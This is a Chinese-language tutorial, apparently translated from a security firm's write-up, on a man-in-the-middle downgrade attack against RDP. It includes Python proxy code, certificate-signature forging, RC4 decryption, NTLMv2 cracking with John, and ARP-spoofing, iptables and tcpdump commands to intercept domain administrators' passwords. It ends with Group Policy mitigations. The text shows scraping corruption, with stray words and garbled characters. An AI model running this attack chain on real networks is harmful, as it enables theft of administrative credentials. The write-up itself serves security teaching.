基于MitM的RDP降级攻击

基于MitM的RDP降级攻击

0x00 简介

  最近看到一篇关于RDP攻击的文章,不是很新的内容,本着学习的目的进行简单的翻译,也当作学习笔记,鉴于水平有限,有不少不到位的地方,还请包涵。node

  RDP协议被系统管理员天天用来管理远程Windows服务器。最多见的场景之一就是,用RDP在核心服务器上执行远程管理任务,好比用高权限的帐户登陆域控服务器,这个帐户的凭据经过RDP进行传输。所以,使用安全的RDP配置更加显得相当重要。因为配置错误,常常遇到以下的证书警告:python

1.jpg

  若是在你所处的环境中,常常出现这种警告,将没法识别出潜在的MitM攻击。git

  本文的目的在于提高安全意识,严肃的看待证书警告的重要性以及如何进行安全配置。计划的读者群是系统管理员、渗透测试人员以及安全爱好者。虽然没必要要,但推荐读者最好具有如下的背景知识:github

  • 公钥及对称密码体制(RSA、RC4)
  • SSL
  • x509 证书
  • TCP
  • Python
  • 十六进制数及二进制代码

  本文将证实如何经过MitM攻击窃取用户凭证。文章内容没有涉及到最新的技术,甚至是早已被Cain实现过的技术。可是,Cain实在是太老了,并且关闭了源码而且只能在Windows下使用。本文将分析技术细节,以及RDP协议的内部工做原理,并尽量真实的模拟一次攻击行为。算法

声明:不得利用本文涉及到的技术获取不属于你的服务器权限。本文仅用于教学,且需取得系统管理员的受权。不然,你的行为有可能涉及违法。本文涉及的源代码可在如下连接中找到。https://github.com/SySS-Research/Seth数组

0x01 RDP原理

  首先利用Wirdshark,看看在经过RDP链接至服务器时到底发生了些什么:
2.png
  如图所示,客户端以一个建议开始,建议对RDP会话使用安全协议。咱们将三个安全协议作以下区分:缓存

  • 标准RDP安全协议
  • 强化的RDP安全协议或TLS协议
  • CredSSP(凭据安全服务提供者)

  以上截图仅显示了前两种安全协议。请注意,RDP默认执行标准安全协议,客户端没有专门提示。TLS仅仅是将标准RDP安全协议封装在TLS通道之中。顺便,在本文中将互换的使用SSL协议与TLS协议。安全

  CredSSP也是封装在TLS协议之中,不过在受保护的通道中所传输的再也不是明文的密码,而是用于认证的NTLM或者Kerberos协议。这个协议一般状况下也被用于网络级别认证(NLA)。bash

  早期的用户认证有个特征,容许服务器在用户提交任何凭据以前拒绝客户端的访问。好比,在用户没有所需的访问权限的状况下。服务器

  在Wireshark所截取的会话中,能够看到在客户端与服务器协商使用强化的RDP协议以后,双方进行了SSL握手。在这种状况下,咱们在协商完成后的第一个数据包上点击右键,选择将TCP流解码至SSL。

3.png

  因此,若是咱们想对RDP会话进行MitM攻击,仅仅使用SSL代理是不够的,这个代理须要可以识别RDP协议。咱们选择Python来实现这样一个代理。为实现这个目标,首先创建一个服务端socket,用来接受来自受害客户端的连接。同时创建一个客户端socket,用来连接真正的服务器。代理程序在两个socket之间进行数据转发,在必要的状况下使用SSL协议对数据进行封装。在此过程当中,咱们会详细检查数据,并对感兴趣的数据进行修改。

  首先须要修改的数据就是客户端协议的安全级别,客户端本来想通知服务端使用CredSSP,但经过代理修改安全级别至标准RDP安全协议。在默认配置下,服务端将会正常回复。

0x02 建立基于Python的RDP MitM代理

主程序以下:

def run():
     open_sockets()
     handle_protocol_negotiation()
     if not RDP_PROTOCOL == 0:
          enableSSL()
     while True:
          if not forward_data():
               break

def forward_data():
     readable, _, _ = select.select([local_conn, remote_socket], [], [])
     for s_in in readable:
          if s_in == local_conn:
               From = "Client"
               to_socket = remote_socket
          elif s_in == remote_socket:
               From = "Server"
               to_socket = local_conn
          data = s_in.recv(4096)
          if len(data) == 4096:
               while len(data)%4096 == 0:
                    data += s_in.recv(4096)
          if data == b"": return close()
          dump_data(data, From=From)
          parse_rdp(data, From=From)
          data = tamper_data(data, From=From)
          to_socket.send(data)
     return True

def enableSSL():
     global local_conn
     global remote_socket
     print("Enable SSL")
     local_conn = ssl.wrap_socket(
          local_conn,
          server_side=True,
          keyfile=args.keyfile,
          certfile=args.certfile,
     )
    
     remote_socket = ssl.wrap_socket(remote_socket)

run():建立socket,处理协议协商,在必要的状况下启用SSL。完成以后在两个socket之间进行数据转发。
dump_data():在debug模式下,以十六进制形式将数据打印在屏幕上。
parse_rdp():从数据流中提取敏感信息,并利用tamper_data()进行修改。

0x03 密码学基础

  由于在破解标准RDP安全协议时须要用到密码学相关知识,在此概要的介绍下RSA的基本概念。读者可根据自身状况选择跳过此节。

  在RSA加密算法中,加密、解密、签名都是纯粹的数学操做,工做在简单整数的环境中。请明确,全部操做都限定于有限域之中。在生成RSA中的密钥对时,须要两个大素数p和q。模数\(n = p*q\)。利用欧拉函数计算 \(φ(n)=(p−1)*(q−1)\)。随机选择e,使得e与φ(n)互质。利用扩展欧几里得算法求e的逆元d,使得\(e·d ≡ 1 mod φ(n)\)

  此时d为私钥,e、n构成公钥。理论上讲d能够经过n、e计算得出,可是在不知道p和q的状况下,求解φ(n)是困难的。这也就是为何RSA算法的安全性基于大数分解的难度。在目前状况下,没有人知道更加有效的大数分解算法,除非拥有光量子计算机。
  假设待加密明文为m,密文为c,e为公钥,d为私钥。

  则加密变换为:\(c≡m^e mod n\)

  解密变换为:\(m≡c^d mod n\)

  若是你确实不明白以上的加解密算法,不要紧,这是数学问题,对于这篇文章来讲确实有点难度。签名和解密同样,只须要在一段消息的hash值上进行运算。

  当m或者c远大于256bit时,运算的开销会很是大,因此一般状况下,仅会使用RSA对对称加密的密钥进行加密。明文一般状况下使用一次一密的对称加密算法(如AES等)进行加解密。

0x04 破解标准RDP安全机制

  事实上,对于标准的RDP安全机制根本谈不上破解,由于其设计伊始就存在缺陷。标准RDP协议安全机制工做流程以下:

  • 客户端声明将使用标准RDP安全协议;

  • 服务端赞成使用该协议,并将自身的RSA公钥以及一个服务端随机数发送给客户端。公钥以及如主机名等一些其余信息的集合就称为“证书”。该证书使用终端服务的私钥进行签名(RSA签名机制),以确保证书的真实性;
  • 客户端使用公钥验证证书的真实性,若验证成功,则使用公钥对客户端随机数进行加密,并发送至服务端;
  • 服务端使用私钥进行解密,获取客户端随机数;
  • 客户端、服务端都从客户端随机数、服务端随机数中获取到了会话密钥。会话密钥用来加密会话的其他部分。

  请注意,以上全部流程都是明文传输没有使用SSL。理论上没有任何问题,Microsoft想要本身实现SSL实现的功能。可是,密码体制不是一件简单的事,一般状况下,要依赖现有的、通过时间检验的解决方案,而不是本身创建一套新的方案。此时,Microsoft犯了一个严重的错误,该错误如此明显,以致于我彻底不理解为何会这样作。

  你能看出问题在哪吗?客户端是如何获取到终端服务的公钥?答案就是:预装!这就意味着每一个系统中的公钥都是同样的。更甚者,私钥也是同样的!因此,公私钥能够从任意Window系统中提取出来。事实上,咱们甚至都不须要如此作,由于Microsoft已经决定将之正式的公布在网站上,只须要访问microsoft.com就能够查看到。

  在会话密钥已经被获取的状况下,对称加密有如下几种模式:None、40bit RC四、56bit RC四、128bit RC四、3DES(以上被称为FIPS)。默认状况下使用128bit RC4(“High”)。可是,若是咱们能够窃取到密钥,如论加密强度如何,都没有意义。

  至此,目标已清晰:当收到服务端的公钥后,迅速生成咱们本身的RSA密钥对,并替换真实的公钥。同时用私钥对证书进行签名。当客户端成功的获取到虚假的公钥以后,咱们就可以获取到客户端的随机数。利用私钥进行解密,重写以后,用服务端的公钥从新加密,并发送。至此,咱们就能够成功的嗅探客户端与服务端之间的通讯了。

如今,惟一存在的问题就是RDP数据包的分析,下图为咱们感兴趣的一个数据包:

4.png
5.png

  表示公钥的字段已经被高亮表示出来了。最前面的两个以小端模式表示的字节,表明了公钥的长度(0x011c)。如同以前讨论过的,公钥由模数和指数两部分组成。查阅RDP协议格式,找出咱们感兴趣的字段,如下是模数字段:

6.png
15.png

签名字段以下:

7.png

服务端随机数以下:

8.png

  保留服务端随机数,修改模数和签名。为了生成咱们本身的RSA密钥对,咱们使用openssl,虽然Python拥有RSA库,但执行效率要比openssl慢。

$ openssl genrsa 512 | openssl rsa -noout -text
Generating RSA private key, 512 bit long modulus
.....++++++++++++
..++++++++++++
e is 65537 (0x010001)
Private-Key: (512 bit)
modulus:
     00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
     e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
     81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
     21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
     64:b4:98:1f:d7
publicExponent: 65537 (0x10001)
privateExponent:
     00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
     88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
     cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
     05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
     8a:f6:47:38:c1
prime1:
[...]

  如今,咱们生成了所须要的模数n、公钥e、私钥d。事实上,咱们须要2048bit的密钥,而不是示例中的512bit,但生成思路是一致的。
  伪造签名也很简单,计算证书的前六个字段,按照协议格式添加内容,并用私钥进行加密,如下是利用Python的函数实现:

def sign_certificate(cert):
 """Signs the certificate with the private key"""
 m = hashlib.md5()
 m.update(cert)
 m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
 m = int.from_bytes(m, "little")
 d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
 n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
 s = pow(m, d, n)
 return s.to_bytes(len(crypto["sign"]), "little")

接下来须要截取的数据包包含有加密的客户端随机数,数据包以下:

9.png

  再一次,将数据包中的关键字段高亮表示,开始的四个字节表明长度(0x0108)。因为该数据包是用生成的公钥加密,因此咱们能够轻易的用私钥进行解密:

10.png

  如今,只须要用服务端的公钥从新加密,修改数据包并发送。如今成功得到了私密的客户端随机数,但不知道什么缘由,Microsoft并无将之做为对称加密的密钥。这里须要一个精心构造过的调用,来生成客户端的密钥、服务端的密钥以及签名密钥。虽然无趣但却并不困难。

  在获取到会话密钥以后,初始化RC4流中的s-boxes。因为RDP针对来自客户端的消息与服务端的消息使用了不用的密钥,因此咱们须要两个s-boxes。s-boxes是一个256字节的数组,数组内的每一个元素都被密钥扰乱,最终生成伪随机子密码,利用xor操做,对明文进行加密。Python实现算法以下:

class RC4(object):
 def __init__(self, key):
      x = 0
      self.sbox = list(range(256))
      for i in range(256):
           x = (x + self.sbox[i] + key[i % len(key)]) % 256
           self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i]
      self.i = self.j = 0
      self.encrypted_packets = 0

 def decrypt(self, data):
      out = [] 
      for char in data:
           self.i = (self.i + 1) % 256
           self.j = (self.j + self.sbox[self.i]) % 256
           self.sbox[self.i], self.sbox[self.j] = (
                self.sbox[self.j],
                self.sbox[self.i]
           )

           out.append(char ^ self.sbox[(
                self.sbox[self.i] +
                self.sbox[self.j]) % 256
                     ])
      self.encrypted_packets += 1
      if self.encrypted_packets >= 4096:
           self.update_key()
      return bytes(bytearray(out))

 def update_key(self):
      print("Updating session keys")
      # TODO finish this

  从代码中能够看出,RDP协议要求加密过4096个数据包以后就更新密钥。本文并无着力去解决这个问题,主要是证实证书中存在的漏洞。

  如今咱们具有了读取数据流的全部背景知识。咱们对数据流中包含的击键信息很感兴趣。经过查阅MSDN,学习RDP协议中的键盘事件相关知识。在处理键盘、鼠标消息及一些其余细节时,处理的并非很完善。但对于PoC来讲,已经足够了。

  接下来,用客户端链接伪造的RDP服务端,弹出警告。

  11.png

  注意到什么了吗?这并非一个SSL警告。至此,咱们已经可以成功的监听到客户端的击键信息了。这也就是Cain的实现原理。

12.png

0x05 破解强化RDP安全机制

  仅仅下降RDP协议的安全等级远远不够,做为一名攻击者,将会努力使得攻击变得更加隐蔽。受害者会注意到警告与一般状况下的差别,并在创建连接以后依然会要求证书。
  一样的问题一直困扰着我,在使用Cain对RDP展开MitM攻击的时候,看不到SSL警告。我发现向客户解释为何SSL警告如此重要很困难,特别当他们使用不可以确实的自签名证书时,这个MitM攻击致使了彻底不一样的警告。

  接下来让咱们尝试下降强化RDP安全协议的安全等级。首先,咱们须要自签名的SSL证书,能够用openssl生成:

$ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \
-subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null

  在恰当的时候将通讯数据封装在SSL之中进行发送,这些工做已经完成。如同以前所说,标准RDP协议被封装在SSL协议中,可是服务端一般状况下将加密等级选为“None”。使用SSL确保数据的完整性和真实性可用被很好的仿冒。在SSL之上再使用RC4彻底是浪费资源。提取密钥的过程如同以前所说的同样。

  惟一额外的安全特征是在SSL连接已经创建好以后,服务端须要确认原始的握手请求。服务端对客户端说“请你告诉我你所可以使用的安全协议”。从二进制的角度来看,以下所示:

16.png

  客户端会将这个数据同最初发送的请求数据相比较,若是不一致就结束连接。很显然,这已经太晚了。做为中间人,能够修改从客户端发出的数据包,将上图中0x4c处的数据进行替换,原始值为0x03。以后,咱们就能够轻松的读取所有明文。

  如同预期的同样,受害者看到了一个合适的SSL警告。但事实上已经不同了。在RDP连接创建以前,当使用咱们本身的证书的时候仍是有一些区别。不像NLA,认证发生在会话之中。再次,总有一些地方和标准工做流程存在差别,使得管理员有可能注意获得。

0x06 突破CredSSP

  首先声明,咱们其实并无真正的突破CredSSP,实际上是在规避它。首先,让咱们看看若是不降级攻击,真实的连接是什么样的。相关数据以下:

17.png

  高亮部分为客户端的挑战值及NTLM响应,服务端的挑战值在以前的消息之中。

  咱们如今所看到的是NTLM认证。这是一种挑战-响应技术,客户端获取到服务端的挑战值(相似于以前提到过的服务端随机数),客户端挑战值和用户密码还有一些其余值,被加密为hash值。这个hash值被称为“NTLM响应”,并被传输至服务端。

  这个值是如何计算出来的,对咱们来讲并不重要。咱们须要知道就是,NTLM不能被重放攻击,也不能进行哈希传递攻击,可是能够进行hash碰撞攻击。NTLM实现的hash算法称为HMAC-MD5,是一个至关简单的算法,但一般状况下会使用salt。可使用Hashcat或者John The Ripper进行破解,使用John时的hash格式以下:

<Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>

  示例数据以下:

User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000

  将以上数据存为hashes.txt,使用以下命令启动john:

$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2 --stdin hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
S00perS3cretPa$$word (User1)
1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word
Use the "--show" option to display all of the cracked passwords reliably
Session completed

  结果如上,聊胜于无,但咱们能作的更好。

  咱们必须明确一个问题“服务端是如何确认NTLM响应的?”这就须要用到域控服务器。但若是域控服务器不可用呢?服务端会发出“使用强化的RDP代替NLA”,客户端会遵照这个消息。有趣的是,在客户端已经缓存密码以后,会选择直接发送密码,而不是将用户重定向到登陆窗口。这正是咱们想要的。除去SSL警告以外,没有任何其余的异常。

  因此,在客户端已发送NTLM响应以后,咱们用如下数据替代服务端的响应。

00000000: 300d a003 0201 04a4 0602 04c0 0000 5e 0.............^

  相关内容没有找到官方文档,在实际中,当服务端没法联系到域控制器的时候所发送的数据包就是如此。客户端将会降级到强化的RDP协议,显示SSL警告,并经过SSL向服务端传输密码。

  注意,咱们并无看到SSL警告。根据标准,客户端会发送SSL证书的指纹到服务端,该指纹被CredSSP协议中的密钥所加密。若是和服务端证书的指纹不匹配,该会话将被终止。这也就是以前为何受害者输入错误的密码时咱们能监听获得,输入正确的密码时,咱们只能看到TLS错误的缘由。

  如今须要作的工做就是截取NTLM的响应值。经过改写Python脚本,返回特定的NTLM响应,使得NTLM认证始终失败。受害者不会注意到,如以前所说,咱们将协议降级至TLS,以后证书将会被从新发送。

  在此,还有一件事须要说明。若是客户端属于域内主机,将不会使用NTLM。取而代之的是Kerberos,在创建连接以前,客户端会联系域控服务器,获取ticket。对咱们来讲,这是件好事。对于攻击者来讲,Kerberos的ticket相对于有salt的NTLM更没用。若是攻击者进行中间人攻击,能够经过锁定全部与Kerberos服务进行通讯的数据,猜猜以后会发生什么?若是客户端联系不到Kerberos服务,将会自动降级为NTLM。

0x07 测试

  至此,咱们已经可以在实验环境中实现整个攻击流程。但在真实环境中,受害者在RDP客户端中并不会输入MitM代理的ip,而是他们本身服务器的IP。有不少种方法可以实现中间人攻击,在此咱们选用ARP欺骗。对于PoC来讲,实现起来足够简单,因为ARP欺骗是layer-2层的攻击,因此攻击者与受害者须要在一个共同的子网之中。

  在欺骗ARP、容许IPv4转发以后,受害者与网关之间的全部流量都会流经咱们的主机。可是咱们仍是不知道受害者所输入的IP地址,因此没法启动Python脚本。

首先建立一条iptables规则,拒绝全部来自受害者的用于RDP服务的SYN包:

$ iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT

  咱们不但愿转发任何其余的流量,若是受害者已经创建好了RDP连接,将会终止该连接。若是咱们不拒绝这些数据包,受害者将同真正的服务器创建连接,而不是咱们的MitM代理。

  第二,监听来自受害者的流量,等待目的端口为3389的SYN包,目的是找出目标服务器的IP地址。利用tcpdump实现:

$ tcpdump -n -c 1 -i "IFACE" src host "$VICTIM_IP" and \
"tcp[tcpflags] & tcp-syn != 0" and \
dst port 3389 2> /dev/null | \
sed -e 's/.> ([0-9.]).3389:.*/\1/'

  参数“-c 1”表示首次匹配成功后即退出。这个SYN包将被丢弃,但不要紧,很快受害者主机将会重发这个包。

  第三,获取服务端的SSL证书,建立同名的自签名证书,同时修改证书的过时时间。除非花费大量的时间和精力检查指纹信息,不然很难区分二者之间的差异。如下bash脚本能够完成上述功能。

  接下来移除以前的iptables规则,将受害者与真实服务器之间的流量所有转发到咱们的MitM代理地址上:

$ iptables -t nat -A PREROUTING -p tcp -d "ORIGINAL_DEST" \
-s "VICTIM_IP" --dport 3389 -j DNAT --to-destination "ATTACKER_IP"

  为了实现从Kerberos到NTLM的强制降级,锁定了全部受害者与目标端口为88的流量。

$ iptables -A INPUT -p tcp -s "VICTIM_IP" --dport 88 \
-j REJECT --reject-with tcp-reset

  至此,咱们已经准备好运行Python脚本的全部环境。

$ rdp-cred-sniffer.py -c "CERTPATH" -k "KEYPATH" "ORIGINAL_DEST"

13.png

  左图为受害者经过3389登陆域控服务器,右图为成功截取到的明文密码。

0x08 建议

  做为系统管理员,此刻你可能想知道能作些什么来确保网络的安全。
  首先,最为关键的是,当服务器身份得不到确认的状况下,绝对不能创建RDP连接。好比,SSL证书没有被可信的CA签名。使用企业CA对全部服务器证书进行签名。客户端必须配置GPO,当证书不能被确认的状况下拒绝连接。配置路径以下:

Computerconfiguration→Policies→AdministrativeTemplates→WindowsComponents
→RemoteDesktopServices (or Terminal Services)→Remote Desktop Connection Client
→Configure server authentication for client

  对因而否须要在服务端配置CredSSP(NLA)相对比较复杂。这一点一样能在组策略中实现:

[路径如上]→Remote Desktop Session Host (or Terminal Server)→Security
→Require user authentication for remote connections by using Network Level Authentication

  14.png

  咱们已经了解到客户端将用户证书进行了缓存,NLA不可能方便的进行重传,证书被缓存在内存之中。这些数据能够被拥有SYSTEM权限的攻击者获取到,同时使用Mimikatz。这是一款难以想象的脚本,在被感染的主机上能够成功的获取到已登陆帐号的明文密码,而且横向获取其余帐号的密码,直到成功获取到域管理员的帐号。这也就是为何只能在域管服务器上使用私人的域管帐号。

  可是经过RDP远程登陆域控服务器,使得服务器上遗留下了一个高权限的帐号,这是一个很是严重的问题。除此以外,若是启用了NLA,“用户在下次登陆时必须改变密码”也被启用,仅在终端服务中的用户将会被锁定。至今为止咱们所能确认的是,NLA更方便,因为使用更少的资源因此能够减轻Dos攻击,而且能够防止如同MS12-020这样的基于网络的针对RDP的攻击。这也是为何内部还在讨论是否推荐禁用NLA。

  若是你拒绝使用NLA,能够在组策略中进行以下设置,“在远程链接中须要使用SSL”。

  增长RDP的安全性还有其余两种措施,第一种是使用除了证书以外的第二种因素。有不少第三方的产品可使用,至少对域控制器这类关键系统进行加固。

  万一你须要使用Linux经过RDP链接Windows终端服务,须要提醒的是,比较流行的RDP客户端rdesktop是没法使用NLA而且没法验证SSL证书的。另外一款可替代的产品xfreerdp至少能够验证证书。

  最后,请注意SSL警告不能被轻视,不管是在RDP仍是在HTTPS的环境中。做为管理员,你有责任确认客户端已经将你的CA设置为可信证书。经过这种方式,能够确保SSL警告属于异常行为,而不是广泛现象,在出现异常时能够及时寻求IT部门的协助。

相关文章
相关标签/搜索